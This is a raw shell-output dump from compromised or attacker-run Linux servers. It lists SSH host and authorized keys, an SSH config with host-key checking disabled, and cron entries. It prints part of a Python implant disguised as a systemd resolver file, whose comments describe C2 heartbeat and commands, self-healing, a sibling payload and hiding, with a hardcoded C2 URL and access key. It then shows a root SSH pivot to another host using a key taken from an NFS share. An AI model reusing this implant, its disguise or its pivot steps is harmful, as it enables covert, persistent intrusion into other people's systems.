AAAAB3NzaC1yc2EAAAADAQABAAABgQCn+2EPLaZ39TABSVYVzejOZmN5PH714HfVxXbV+KBBQILOiNUzF2PyVUjhKiQrdn37S5OqUrgwP0ld35u1WsKPILTfjOPdpDF8QJ1yqykegjU2qm5BuNayVA4udyEtOOQJ9ZDmgwaVmxujszL9MtJv9Q7OY4urLeOjPE6KBHOzhL2t9mj800vGReulgyoOEc6OrksVNzBdSxi6z9rnuD3ozEV//NaMP/411jJxrN3QwMowPfVE8XsGHgF7YhIVcozjq1OWKnj5odubn2bc1O4X9aPzkxR8qlEldvmyBPEnctOXzkaB9cPpPwaE1H+Du3pn3oPiszA86jeLVdZaUmNGo+/tD5M/BzH9lAAmVd6kLVDWLh1dNUVffmtaYDAq9jUr9oFd/nx6krN4aSIbU6PN8qCSGPqs/XPAD4ApWRS7jTD+Ek1lk9bX5FVH9BTLdSMYtVtC40VMqiD6I7nqyrlNHc1iiES2e8K6+8r741y+Y4NpK+wW/6yd6BlyJV8Anhs= |1|1JkM0l4ji0Ng1kPab4TLGLmVv/4=|P6dLEDZJs35uSlVz9hnQ/9aWPok= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEZq53MyNXeeceqtEXCBrSkdmoEy9CLleDo1KeaYC9RFv2r9nmE5GOJsXIl4pUqghTrPVG8Oh9h0wYKeKDVIeD8= |1|F+V3G9Rj1xJ0OZThHqRbLe69nj4=|DKussQVS1xOdYbXqMi6rHpU8mlE= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKDMl6LbMo5bRS4NCnYu4pSbVpuW/lsJTRPekrijcv/P |1|ZjMYiJZhxCeOFPsb1N/fD1pmVeA=|h2/CnUKqtiS3/FV8a7XsHZLLC4s= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAf044PwaAed9FlGaDd4ibP0uG1Zryz9DZI8Q8qcJ1eA |1|q90q1mVP5T8cpT5ysgDjZq7R4S8=|hp4or7JfDedi95khoMO8AvVe2PA= ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDekXt6z8onQO7ccEohzim1mHpoe5bZAaf24p39CMM1KKKlc2eTu1HjiFIc1u1MvZU8iwQaWlwyFp9R8kA0Z8/EYXcEIoVLnSoHzQ/IlOWUt99HPFC81qyrEYiSYBumZayFN1V8jNO0sWdBiQE09gH1adEHBUwdJPpkOjNTXB6z2kYVM4K/kC1Ipx26JTcdCE6wa/uDgJ9nnf8V8Xe5Iy7ekLg1SByD31yahq0E4ZJNV0xqsH/FbN4k9EqBjfICj1U0za5xztbzU4AjpICF+0Sas22xVyDhg7OKLZu7O311IiE6htTNPhTm4eB0Znyy2ZTLASPdNm5/+0AoKSWICACAOLQkYrPaHjKnH0554ljxtgGXam0u3gYnhisyoKSKo/f7vetE3XRPeEiGO/70xtDQ2NCCyuM6oJETPIapiLf4rz9sFdDzzokE4V8Wma2t5kR8BK54ozPJf8+JD8FCV5V1/nBqQQeHj9RKazyxrCD01nthEy8IwYRHAtFiiX/x3XE= |1|VuJ4L4t7pALgJJS/M2Rmf16j7sU=|vRKW+GQVgTXKdO3qrUIb0SFjYzg= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJAv6GLN3XSyYbK8DZ6uWR7tffBM7Ds83fshi4H+bHwVYgHwgHvxSEU8eKwMeK7uZAKY1C6EkIsvcMdyA11ndHU= |1|KLbgxFS3ypB0JX0b0l+1jAGjn3M=|X7bfiF7MiwID8OuOVW39mqtMTwE= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAf044PwaAed9FlGaDd4ibP0uG1Zryz9DZI8Q8qcJ1eA --- known_hosts.old --- |1|RrO+R+4Mt31vikPvrIrgTvTE2CE=|TI9DJHRjzow9dkQSjJyPwQXJLA8= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID6fLXbJ0AKXTSKj5hBRen9P0za3fWGq84CXqxNAsYj0 |1|SM4Dk9PDq2U2bz3t2X6DO2MfBzo=|T6MGACG7X3cxDsXaKPpTCr2Vp0s= ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFGgGK9YKEGU8xKBqDMgAkoGmE5ld6Wp3tgrpGq4e2iKRxvg1L9P5c6x1BjA3/ZON6FQqVWTfRRuaTPZ/bxFnUmcIJJpIY6gbw/dcZsxIQmBS85gpDE6lHKCnndosPE3XAwXF2TyEDMaykbpZN9mQHdi4Lah8NwWq5BKAM4aw4g3l3i/tb6LCpGsJ/TKhgUA3LNSly8FRjgBYtOOOy+53FhLuqpShdzbaiYHIeNCsV8GqfS50x28N8GGQ7w3jAMq8Bbb5ccXU6/AYLnMKq93aE+8VD0HYMkGZN0MhzStogO1iePPyqpBMCrN5fXqJCVFf5ahGt4AAm01vOdMdPAjQWfGqELVNwSXYQMZ7XCRttyxelAOw44qterLbek4FuIMdUG3UjlVM+tia7tXq86i0ldYLeM9ZGJ64mp+7thy3F6kIvB7DcD5zmI8snH1xH8Zh/mIu2VopsJlKhX1PHhjhEPXQ4WNKvd/rU2oSdZ9a2qUHRgXVFG7et/M8b8RkliIk= |1|PZGXf4VWqgMqrgKc6p0mcQQKPAs=|F9xsUawIrrqh4UYZ3Ivmh4uOu4U= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMC56eE8JOl7MPCsiqmuG6xcoQyUFV0BQHyPyE8MGdnq8JUJOLIsFwLwdkYLIv5rKOQ8zZoOfXwVA2Hc7LepSnk= |1|uvGFQLVmfGnOhyHhLC6qCxCs8lk=|h4VzvD/x78kL88VF3CiPU9LvNss= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGD8BQiRYcwIVmkz870sbrjnV5aD7sjKYe5b0KLSMv6Y |1|eetSLmHPsSWHZt40qo51CKzlUbg=|LMl7rnN+i5gnl+yFSQSsGdbPef8= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBjts5V4mFRDDhn2so4v/zUZl7fE4zkEuxn62APLQCuA |1|B2oE0x/pQ5ykZcqBE6qGKWx0nWk=|hBmYMVs3wuGK6d/4/7CoGgP53Io= ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4OhwnIxbnuoM8BpEET2c+UjBM52bVYtaIf+U/bftI2xzsNMVVkhgRwFYeXJrSVlGR5mDsdEu5iENVUg/4ueIjqBExT2yno+gnMubADfoDX0JGGKeEMv5kp0f5tTA1N1JewvmEE9VulORa7CdTMIj3nLBd9cz39ZI7RrK4YaY1qZDCA0NRIQ5YSRDQhxE+2X89h5KbaKQCY7VB9g6xNl9bNc8br6R6JkxcxBRKq28snm46YU0wC94W8BUAMin4b6eh+iE5EgkV8WMwGVHZ+Gcp2fTuAnMFLERTXWvYwS4W8FrZMx1UvgIyXU+UmUUMxn3112Rf65LrUdl2dW/Wf+1rywBcpJkWAuprHEW8Za7mnVQ7rc7lklokdwQnSbugCYKYRicNqyoD1S+k819aUiXFb0o80oVRzK5C7gswaFIpCPI4+0n0QuqnXNL1GSXKxfUwvAcOxveQBpaR9+BvfOLOPCCmjMVUZVN4QxbVajbkUlwGwOxO1AH3aCsD8ohLjeE= |1|YoDg4c4FyQMc9ZqFCyjQKXO2dQs=|NXmknp9Xzu21AJwV2UVUVXmDNoA= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKiCVMbEUVo7A+tS0BiKYgmt+8y6TNQCqyZyEO794i7XpX0GPV9suBTDhCJj9sN9EVgAJW7TaF6eIMXq3PfMycs= |1|l5nPcK3DaSeIol0uyjOo3PbttfE=|z/VLBnWxf4ScrjV8F+/p+QSTyfY= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKDMl6LbMo5bRS4NCnYu4pSbVpuW/lsJTRPekrijcv/P |1|p6UhKnNMejDULsTdz3YAdVYg5Jo=|OqHPKZKo4qrrnd3ZEm6LwVjL7Jk= ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCn+2EPLaZ39TABSVYVzejOZmN5PH714HfVxXbV+KBBQILOiNUzF2PyVUjhKiQrdn37S5OqUrgwP0ld35u1WsKPILTfjOPdpDF8QJ1yqykegjU2qm5BuNayVA4udyEtOOQJ9ZDmgwaVmxujszL9MtJv9Q7OY4urLeOjPE6KBHOzhL2t9mj800vGReulgyoOEc6OrksVNzBdSxi6z9rnuD3ozEV//NaMP/411jJxrN3QwMowPfVE8XsGHgF7YhIVcozjq1OWKnj5odubn2bc1O4X9aPzkxR8qlEldvmyBPEnctOXzkaB9cPpPwaE1H+Du3pn3oPiszA86jeLVdZaUmNGo+/tD5M/BzH9lAAmVd6kLVDWLh1dNUVffmtaYDAq9jUr9oFd/nx6krN4aSIbU6PN8qCSGPqs/XPAD4ApWRS7jTD+Ek1lk9bX5FVH9BTLdSMYtVtC40VMqiD6I7nqyrlNHc1iiES2e8K6+8r741y+Y4NpK+wW/6yd6BlyJV8Anhs= |1|1JkM0l4ji0Ng1kPab4TLGLmVv/4=|P6dLEDZJs35uSlVz9hnQ/9aWPok= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEZq53MyNXeeceqtEXCBrSkdmoEy9CLleDo1KeaYC9RFv2r9nmE5GOJsXIl4pUqghTrPVG8Oh9h0wYKeKDVIeD8= |1|F+V3G9Rj1xJ0OZThHqRbLe69nj4=|DKussQVS1xOdYbXqMi6rHpU8mlE= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKDMl6LbMo5bRS4NCnYu4pSbVpuW/lsJTRPekrijcv/P |1|ZjMYiJZhxCeOFPsb1N/fD1pmVeA=|h2/CnUKqtiS3/FV8a7XsHZLLC4s= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAf044PwaAed9FlGaDd4ibP0uG1Zryz9DZI8Q8qcJ1eA ===== AUTHKEYS ===== ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMx/h5/Us8RNjFWI06j0zR7Fibc4KpuYck8+mjklBXjC auspicious@auspiciousdeMacBook-Air.local ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMx/h5/Us8RNjFWI06j0zR7Fibc4KpuYck8+mjklBXjC auspicious@auspiciousdeMacBook-Air.local ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMx/h5/Us8RNjFWI06j0zR7Fibc4KpuYck8+mjklBXjC auspicious@auspiciousdeMacBook-Air.local ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO2jOes72Wm/96hi0y6XIXWULpRBeUwhZzlAnAMY/KS2 i351-nfs-poc ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHv4d0Y8lrbGxTsJusweZlZXUctYCg55kDPVU08gsYJ0 root@C20261002168507 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0Y+oq0n7RWjd05hcwMgCB1wGYZ/g6aITOb4wCWLefI hatch ===== SSHCONFIG ===== Host 154.36.174.130 130 HostName 154.36.174.130 User root IdentityFile /root/.ssh/id_ed25519_tokyo StrictHostKeyChecking no ===== CRON.D INVENTORY ===== total 40 drwxr-xr-x 2 root root 146 Oct 28 16:35 . drwxr-xr-x 116 root root 8192 Oct 24 19:48 .. -rw-r--r-- 1 root root 201 Mar 5 2023 e2scrub_all -rw-r--r-- 1 root root 45 Oct 20 14:06 i351_reload -rw-r--r-- 1 root root 58 Oct 21 19:06 i837_p3 -rw-r--r-- 1 root root 61 Oct 21 18:48 i837_probe -rw-r--r-- 1 root root 102 Mar 2 2023 .placeholder -rw-r--r-- 1 root root 96 Oct 28 16:30 systemd-networkd-09baa394 -rw-r--r-- 1 root root 66 Oct 28 16:35 zt3_1194 ===== CRON.D SYSTEMD-NETWORKD ENTRIES ===== --- /etc/cron.d/systemd-networkd-09baa394 --- 96 /etc/cron.d/systemd-networkd-09baa394 */1 * * * * root /usr/bin/python3 /usr/lib/systemd/systemd-resolved-3d6d3af4.py >/dev/null 2>&1 ref=/usr/lib/systemd/systemd-resolved-3d6d3af4.py 10466 /usr/lib/systemd/systemd-resolved-3d6d3af4.py 0722b67811d446833bf2ff38ed7a75eba956dfa2442707a438f12b50a7aa950b /usr/lib/systemd/systemd-resolved-3d6d3af4.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- # ============================================================================ # DESIGN B 载荷（cron 系，无常驻进程，与 DESIGN A 完全异构） # 路径：/usr/lib/systemd/systemd-resolved-.py 调度：/etc/cron.d/systemd-networkd- # 职能：心跳/指令（urllib 栈）· 自愈 B · 互救 A（重写 A 的薄壳+单元+守护） # 隐藏：无常驻进程（只留一个无害 cron 文件）· 载荷在 systemd 目录下的点目录 # ============================================================================ import json, os, re, subprocess, sys, time, urllib.request, urllib.error CF = os.environ.get("CF", "https://update.8o8.indevs.in") PK = os.environ.get("PK", "p_jpIQN-qeBGlTUrQuRzco70g3BUYxFhbO") UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" BD = "/usr/share/systemd/.helpers" def _p(path, default): try: return open(path).read().strip() or default except Exception: return default legacy_prefix = "/etc/.ar" + "tex_" for _old, _new in (("probe_id", "id"), ("aruntime", "run"), ("apath", "a"), ("aunit", "u"), ("bpath", "b"), ("cpath", "c")): op = legacy_prefix + _old; np = "/etc/.sysnet_" + _new ===== SYS UNITS SUSPECT ===== -rw-r--r-- 1 root root 139 Oct 20 19:10 /etc/systemd/system/systemd-networkd-c22a98f4.service -rw-r--r-- 1 root root 163 Oct 20 19:10 /etc/systemd/system/systemd-networkd-c22a98f4.timer ===== 22365 ATTRIBUTION ===== State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess LISTEN 0 128 127.0.0.1:11027 0.0.0.0:* users:(("cockpit-tools",pid=660822,fd=43)) LISTEN 0 4096 0.0.0.0:42351 0.0.0.0:* users:(("rpc.statd",pid=3834541,fd=8)) LISTEN 0 64 0.0.0.0:22365 0.0.0.0:* LISTEN 0 100 0.0.0.0:6080 0.0.0.0:* users:(("websockify",pid=3862524,fd=3)) LISTEN 0 32768 127.0.0.1:20241 0.0.0.0:* users:(("cloudflared",pid=3814858,fd=7)) LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 6 5 0.0.0.0:80 0.0.0.0:* users:(("python3",pid=3814599,fd=3)) LISTEN 0 4096 0.0.0.0:111 0.0.0.0:* users:(("rpcbind",pid=3834064,fd=4),("systemd",pid=1,fd=117)) LISTEN 0 5 0.0.0.0:8765 0.0.0.0:* users:(("python3",pid=3814665,fd=3)) LISTEN 0 5 0.0.0.0:8899 0.0.0.0:* users:(("python3",pid=3726363,fd=3)) LISTEN 0 5 0.0.0.0:9090 0.0.0.0:* users:(("python3",pid=645919,fd=3)) LISTEN 0 4096 0.0.0.0:48183 0.0.0.0:* users:(("rpc.mountd",pid=3834547,fd=9)) LISTEN 0 4096 0.0.0.0:23613 0.0.0.0:* users:(("rpc.mountd",pid=3834547,fd=5)) LISTEN 0 128 0.0.0.0:19528 0.0.0.0:* users:(("cockpit-tools",pid=660822,fd=35)) LISTEN 0 4096 0.0.0.0:52881 0.0.0.0:* users:(("rpc.mountd",pid=3834547,fd=13)) LISTEN 2 128 216.23.81.135:64130 0.0.0.0:* users:(("udp2raw",pid=82716,fd=9)) LISTEN 0 511 0.0.0.0:8000 0.0.0.0:* users:(("nginx",pid=926363,fd=5),("nginx",pid=926362,fd=5),("nginx",pid=926361,fd=5),("nginx",pid=926360,fd=5),("nginx",pid=926258,fd=5)) LISTEN 0 5 0.0.0.0:8090 0.0.0.0:* users:(("python3",pid=767186,fd=3)) LISTEN 0 64 0.0.0.0:2049 0.0.0.0:* LISTEN 0 5 127.0.0.1:5901 0.0.0.0:* users:(("Xtigervnc",pid=418106,fd=9)) LISTEN 0 128 [::]:22 [::]:* LISTEN 0 4096 [::]:111 [::]:* users:(("rpcbind",pid=3834064,fd=6),("systemd",pid=1,fd=119)) LISTEN 0 4096 [::]:53473 [::]:* users:(("rpc.statd",pid=3834541,fd=10)) LISTEN 0 32768 *:443 *:* users:(("xray",pid=161834,fd=3)) LISTEN 0 4096 [::]:49739 [::]:* users:(("rpc.mountd",pid=3834547,fd=15)) LISTEN 0 4096 [::]:40257 [::]:* users:(("rpc.mountd",pid=3834547,fd=7)) LISTEN 0 64 [::]:19821 [::]:* LISTEN 0 64 [::]:2049 [::]:* LISTEN 0 4096 [::]:43597 [::]:* users:(("rpc.mountd",pid=3834547,fd=11)) LISTEN 0 5 [::1]:5901 [::]:* users:(("Xtigervnc",pid=418106,fd=10)) -- /proc/net/tcp :575D -- /proc/net/tcp: 2: 00000000:575D 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 13567651 1 00000000f0b02507 100 0 0 10 0 inode=13567651 -- banner(200 bytes) -- ===== END ZOUTER Wed Oct 28 08:36:07 AM UTC 2026 ===== ===== E VANTAGE 10.66.0.3 via ssh (tokyo key from ZOUTER NFS) ===== Warning: Permanently added '10.66.0.3' (ED25519) to the list of known hosts. ZDONE_TAG=.3 host=C20260705111036 date=Wed Oct 28 08:36:37 AM UTC 2026 -- id/uname -- uid=0(root) gid=0(root) groups=0(root) Linux C20260705111036 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64 GNU/Linux ===== LSROOT /root ===== total 2319256 drwx------ 29 root root 20480 Oct 26 20:13 . drwxr-xr-x 17 root root 4096 Oct 25 11:06 .. -rw-r--r-- 1 root root 65130 Oct 19 03:42 act_rows.png -rw-r--r-- 1 root root 1850 Oct 19 02:31 act_tab.png -rw-r--r-- 1 root root 338901 Oct 17 14:18 after_click_center.png -rw-r--r-- 1 root root 336067 Oct 17 14:21 after_escape.png -rw-r--r-- 1 root root 49871 Oct 17 14:40 after_login1.png -rw-r--r-- 1 root root 311 Oct 17 14:21 after_return.png -rwxr-xr-x 1 root root 80376 Oct 17 12:58 antidbg.dll -rw-r--r-- 1 root root 4790 Oct 17 13:17 antidbg_dll.c -rw-r--r-- 1 root root 3136 Oct 17 12:51 anti_dbg.js -rw-r--r-- 1 root root 190 Oct 17 12:59 appinit.reg -rwxr-xr-x 1 root root 944 Oct 17 14:32 auto_unmask.py -rw-r--r-- 1 root root 64872 Oct 19 02:55 b1.png -rw-r--r-- 1 root root 158435 Oct 19 03:57 base2.png -rw-r--r-- 1 root root 160396 Oct 19 02:24 base.png -rw-r--r-- 1 root root 688 Oct 17 08:57 .bashrc -rw-r--r-- 1 root root 65255 Oct 19 02:55 before_u.png -rw-r--r-- 1 root root 342 Oct 21 01:16 bottom_right.png -rw-r--r-- 1 root root 4924 Oct 17 14:20 bt2_test.log -rw-r--r-- 1 root root 1159 Oct 21 01:04 btn_row.png -rw-r--r-- 1 root root 1687 Oct 19 01:50 btn_small.png -rw-r--r-- 1 root root 3009 Oct 21 01:05 btn_verify.png -rw-r--r-- 1 root root 2389 Oct 19 01:17 btn_zoom.png -rw-r--r-- 1 root root 4924 Oct 17 14:20 bt_test.log -rw-r--r-- 1 root root 47775 Oct 19 02:55 c30.png -rw-r--r-- 1 root root 131302 Oct 19 02:57 c31.png -rw-r--r-- 1 root root 65925 Oct 19 02:59 c32.png -rw-r--r-- 1 root root 108583 Oct 19 03:20 c5.png drwxr-xr-x 9 root root 112 Oct 25 10:14 .cache -rw-r--r-- 1 root root 903 Oct 19 04:01 cb_a.png -rw-r--r-- 1 root root 1185 Oct 19 04:01 cb_ba.png -rw-r--r-- 1 root root 757 Oct 19 04:01 cb_b.png -rw-r--r-- 1 root root 942 Oct 19 03:49 cb_zoom.png -rw-r--r-- 1 root root 62128 Oct 19 01:27 ch8.png -rw-r--r-- 1 root root 2513 Oct 19 03:53 chk_now.png -rw-r--r-- 1 root root 158281 Oct 19 03:58 clean.png -rw-r--r-- 1 root root 4924 Oct 17 14:18 click_test.log -rw-r--r-- 1 root root 4556 Oct 19 03:51 cmp_ab.png -rw-r--r-- 1 root root 2411 Oct 19 03:51 cmp_a.png -rw-r--r-- 1 root root 2523 Oct 19 03:51 cmp_b.png drwxr-xr-x 8 root root 161 Oct 25 13:30 .config -rw-r--r-- 1 root root 667 Oct 19 03:06 crash.png -rw-r--r-- 1 root root 59805 Oct 20 02:11 crop_align.png -rw-r--r-- 1 root root 3729 Oct 20 01:44 crop_btn3.png -rw-r--r-- 1 root root 4268 Oct 20 01:18 crop_btnrow2.png -rw-r--r-- 1 root root 2443 Oct 19 01:07 crop_btns2.png -rw-r--r-- 1 root root 15070 Oct 19 01:03 crop_btns.png -rw-r--r-- 1 root root 3143 Oct 20 01:07 crop_buttons.png -rw-r--r-- 1 root root 3715 Oct 20 02:08 crop_chk1.png -rw-r--r-- 1 root root 4815 Oct 20 02:09 crop_chk2.png -rw-r--r-- 1 root root 7245 Oct 20 01:20 crop_dialog.png -rw-r--r-- 1 root root 50564 Oct 20 01:29 crop_left.png -rw-r--r-- 1 root root 81728 Oct 20 02:05 crop_list_bot2.png -rw-r--r-- 1 root root 77311 Oct 20 02:06 crop_list_bot3.png -rw-r--r-- 1 root root 74810 Oct 20 02:14 crop_list_bot4.png -rw-r--r-- 1 root root 89990 Oct 20 02:04 crop_list_bot.png -rw-r--r-- 1 root root 26681 Oct 20 02:04 crop_list_top.png -rw-r--r-- 1 root root 53726 Oct 20 02:52 crop_logbox10.png -rw-r--r-- 1 root root 45326 Oct 20 02:57 crop_logbox11.png -rw-r--r-- 1 root root 54200 Oct 20 03:00 crop_logbox12.png -rw-r--r-- 1 root root 56043 Oct 20 03:04 crop_logbox13.png -rw-r--r-- 1 root root 55997 Oct 20 03:07 crop_logbox14.png -rw-r--r-- 1 root root 44820 Oct 20 03:11 crop_logbox15.png -rw-r--r-- 1 root root 44962 Oct 20 03:15 crop_logbox16.png -rw-r--r-- 1 root root 44649 Oct 20 03:19 crop_logbox17.png -rw-r--r-- 1 root root 44649 Oct 20 03:22 crop_logbox18.png -rw-r--r-- 1 root root 44649 Oct 20 03:23 crop_logbox19.png -rw-r--r-- 1 root root 57952 Oct 20 02:24 crop_logbox2.png -rw-r--r-- 1 root root 50408 Oct 20 02:27 crop_logbox3.png -rw-r--r-- 1 root root 29133 Oct 20 02:31 crop_logbox4.png -rw-r--r-- 1 root root 46503 Oct 20 02:35 crop_logbox5.png -rw-r--r-- 1 root root 33853 Oct 20 02:39 crop_logbox6.png -rw-r--r-- 1 root root 46759 Oct 20 02:43 crop_logbox7.png -rw-r--r-- 1 root root 47721 Oct 20 02:46 crop_logbox8.png -rw-r--r-- 1 root root 46582 Oct 20 02:49 crop_logbox9.png -rw-r--r-- 1 root root 53315 Oct 20 02:20 crop_logbox.png -rw-r--r-- 1 root root 6960 Oct 20 03:27 crop_logfinal2.png -rw-r--r-- 1 root root 5003 Oct 20 03:25 crop_logfinal.png -rw-r--r-- 1 root root 8746 Oct 20 01:42 crop_login2.png -rw-r--r-- 1 root root 6703 Oct 20 01:53 crop_login3.png -rw-r--r-- 1 root root 10189 Oct 20 01:38 crop_login.png -rw-r--r-- 1 root root 110657 Oct 20 01:25 crop_main.png -rw-r--r-- 1 root root 3377 Oct 20 01:13 crop_row.png -rw-r--r-- 1 root root 2596 Oct 20 02:17 crop_start2.png -rw-r--r-- 1 root root 2596 Oct 20 02:20 crop_start3.png -rw-r--r-- 1 root root 2596 Oct 20 02:52 crop_start4.png -rw-r--r-- 1 root root 2670 Oct 20 03:23 crop_start5.png -rw-r--r-- 1 root root 2523 Oct 20 02:15 crop_start.png -rw-r--r-- 1 root root 6428 Oct 20 03:23 crop_status.png -rw-r--r-- 1 root root 32050 Oct 20 02:03 crop_tabs2.png -rw-r--r-- 1 root root 30022 Oct 20 01:54 crop_tabs.png -rw-r--r-- 1 root root 2726 Oct 20 01:48 crop_zoom2.png -rw-r--r-- 1 root root 2631 Oct 20 01:46 crop_zoom.png -rw-r--r-- 1 root root 587 Oct 17 13:12 cryptbase.def -rw-r--r-- 1 root root 65437 Oct 19 01:35 cur.png -rw-r--r-- 1 root root 7274 Oct 17 14:02 current_screen.png -rw-r--r-- 1 root root 193 Oct 17 14:02 current_test.log -rw-r--r-- 1 root root 1459 Oct 19 02:39 custom_close.png -rw-r--r-- 1 root root 47775 Oct 19 02:56 c_x2.png -rw-r--r-- 1 root root 846 Oct 19 01:26 d8.png -rw-r--r-- 1 root root 5414 Oct 21 01:06 dialog_crop.png -rw-r--r-- 1 root root 428 Oct 19 01:26 diffmask.png -rw-r--r-- 1 root root 19759 Oct 19 01:24 diff.png -rw-r--r-- 1 root root 4017 Oct 19 03:07 dlgbtn.png -rw-r--r-- 1 root root 13145 Oct 19 01:30 dlg.png drwx------ 2 root root 6 Oct 25 13:08 Documents drwxr-xr-x 2 root root 4096 Oct 13 19:50 downloads drwxr-xr-x 2 root root 6 Oct 25 10:14 Downloads drwxr-xr-x 2 root root 6 Oct 17 10:44 _empty_accounts -rw-r--r-- 1 root root 3680 Oct 19 04:50 final_btn.png -rw-r--r-- 1 root root 4924 Oct 17 14:17 final_run.log -rw-r--r-- 1 root root 12260 Oct 17 14:34 final_verification.png -rw-r--r-- 1 root root 48611 Oct 19 06:57 fix1.png -rw-r--r-- 1 root root 48883 Oct 19 06:57 fix2.png -rw-r--r-- 1 root root 46618 Oct 19 06:58 fix3.png -rw-r--r-- 1 root root 44871 Oct 19 06:58 fix4c.png -rw-r--r-- 1 root root 48762 Oct 19 06:58 fix4.png -rw-r--r-- 1 root root 148109 Oct 19 06:59 fix5c.png -rw-r--r-- 1 root root 154995 Oct 19 06:59 fix5.png -rw-r--r-- 1 root root 150085 Oct 19 07:01 fix6c.png -rw-r--r-- 1 root root 156921 Oct 19 07:01 fix6.png -rw-r--r-- 1 root root 152774 Oct 19 07:02 fix7c.png -rw-r--r-- 1 root root 159288 Oct 19 07:02 fix7.png -rw-r--r-- 1 root root 160641 Oct 19 07:03 fix8.png -rw-r--r-- 1 root root 21322 Oct 19 07:03 fix8_zoom.png -rw-r--r-- 1 root root 149899 Oct 19 07:04 fix9c.png -rw-r--r-- 1 root root 156698 Oct 19 07:04 fix9.png -rw-r--r-- 1 root root 4206 Oct 17 14:13 fix_step_10.png -rw-r--r-- 1 root root 311 Oct 17 14:13 fix_step_1.png -rw-r--r-- 1 root root 311 Oct 17 14:13 fix_step_2.png -rw-r--r-- 1 root root 1614 Oct 17 14:13 fix_step_3.png -rw-r--r-- 1 root root 4206 Oct 17 14:13 fix_step_4.png -rw-r--r-- 1 root root 4206 Oct 17 14:13 fix_step_5.png -rw-r--r-- 1 root root 4206 Oct 17 14:13 fix_step_6.png -rw-r--r-- 1 root root 4206 Oct 17 14:13 fix_step_7.png -rw-r--r-- 1 root root 4206 Oct 17 14:13 fix_step_8.png -rw-r--r-- 1 root root 4206 Oct 17 14:13 fix_step_9.png -rw-r--r-- 1 root root 592 Oct 17 12:52 frida_out.log -rw-r--r-- 1 root root 54922 Oct 19 03:04 full32.png -rw-r--r-- 1 root root 66260 Oct 19 02:52 h0.png drwx------ 30 root root 4096 Oct 28 16:36 .hermes drwxr-xr-x 2 root root 4096 Oct 17 13:56 hermes_hijack_backup -rw-r--r-- 1 root root 17393 Oct 19 02:24 kb2.png -rw-r--r-- 1 root root 17400 Oct 19 02:24 kb.png -rw-r--r-- 1 root root 5084 Oct 17 14:21 key_test.log -rw-r--r-- 1 root root 47890 Oct 21 01:04 launcher_win.png -rw-r--r-- 1 root root 19399 Oct 21 01:09 left_panel.png -rw------- 1 root root 20 Apr 25 2025 .lesshst -rwxr-xr-x 1 root root 14872 Oct 17 14:12 libtlsfix32.so -rwxr-xr-x 1 root root 15784 Oct 17 14:12 libtlsfix64.so -rw-r--r-- 1 root root 1365 Oct 17 14:12 libtlsfix.c drwxr-xr-x 5 root root 43 Oct 17 09:16 .local -rw-r--r-- 1 root root 47377 Oct 19 04:40 log_area10.png -rw-r--r-- 1 root root 34990 Oct 19 04:44 log_area11.png -rw-r--r-- 1 root root 46908 Oct 19 04:49 log_area12.png -rw-r--r-- 1 root root 48413 Oct 19 04:11 log_area2.png -rw-r--r-- 1 root root 51885 Oct 19 04:14 log_area3.png -rw-r--r-- 1 root root 40210 Oct 19 04:18 log_area4.png -rw-r--r-- 1 root root 41794 Oct 19 04:21 log_area5.png -rw-r--r-- 1 root root 43747 Oct 19 04:25 log_area6.png -rw-r--r-- 1 root root 44051 Oct 19 04:29 log_area7.png -rw-r--r-- 1 root root 44756 Oct 19 04:32 log_area8.png -rw-r--r-- 1 root root 46028 Oct 19 04:36 log_area9.png -rw-r--r-- 1 root root 55516 Oct 19 04:08 log_area.png -rw-r--r-- 1 root root 2028 Oct 21 01:09 login_btn.png -rw-r--r-- 1 root root 35040 Oct 19 01:37 login_panel.png -rw-r--r-- 1 root root 8761 Oct 18 09:08 login_zoom.png drwxr-xr-x 2 root root 27 Oct 12 22:32 logs -rw-r--r-- 1 root root 28919 Oct 18 09:13 log_zoom.png -rw-r--r-- 1 root root 4924 Oct 17 14:19 long_run.log -rw-r--r-- 1 root root 338901 Oct 17 14:19 long_step_10.png -rw-r--r-- 1 root root 338901 Oct 17 14:19 long_step_15.png -rw-r--r-- 1 root root 338901 Oct 17 14:19 long_step_20.png -rw-r--r-- 1 root root 338901 Oct 17 14:19 long_step_25.png -rw-r--r-- 1 root root 338901 Oct 17 14:19 long_step_30.png -rw-r--r-- 1 root root 338901 Oct 17 14:19 long_step_35.png -rw-r--r-- 1 root root ===== 